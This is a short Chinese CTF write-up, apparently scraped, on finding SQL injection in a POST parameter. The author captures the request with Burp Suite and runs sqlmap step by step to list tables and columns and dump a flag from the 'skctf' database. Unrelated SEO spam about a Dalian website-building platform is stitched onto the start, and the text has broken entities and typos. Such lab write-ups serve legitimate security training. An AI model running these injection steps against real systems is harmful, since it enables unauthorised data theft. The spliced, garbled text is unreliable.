大连建站软件h5免费制作平台火蚁

大连建站软件,h5免费制作平台火蚁,网络技术工作室,微信公众平台一定要找网站做吗当输入1的时候会返回成绩但是在URL中并没有出现GET传参#xff0c;所以大概率是POST了。需要用我们的工具sqlmap在这之前#xff0c;我们需要用Burp Suite抓包。发送到重放器#xff0c;右键#xff0c;复制到文件打开是这样的#xff0c;好了主备工作完成#xff0c;打开…当输入1的时候会返回成绩但是在URL中并没有出现GET传参所以大概率是POST了。需要用我们的工具sqlmap在这之前我们需要用Burp Suite抓包。发送到重放器右键复制到文件打开是这样的好了主备工作完成打开sqlmapL:\gj\sqlmappython sqlmap.py -r 1.txt他说目标接口id存在高危sql注入漏洞可以注入我们就进行下一步爆表python sqlmap.py -r 1.txt --tables出来了数据库名和表名继续爆列名。ython sqlmap.py -r 1.txt -D skctf -T fl4g --columns得到列明了提取数据python sqlmap.py -r 1.txt -D skctf -T fl4g -C skctf_flag --dumpflag{7bc17ff3453fef76f405bf3fb68cc9a9}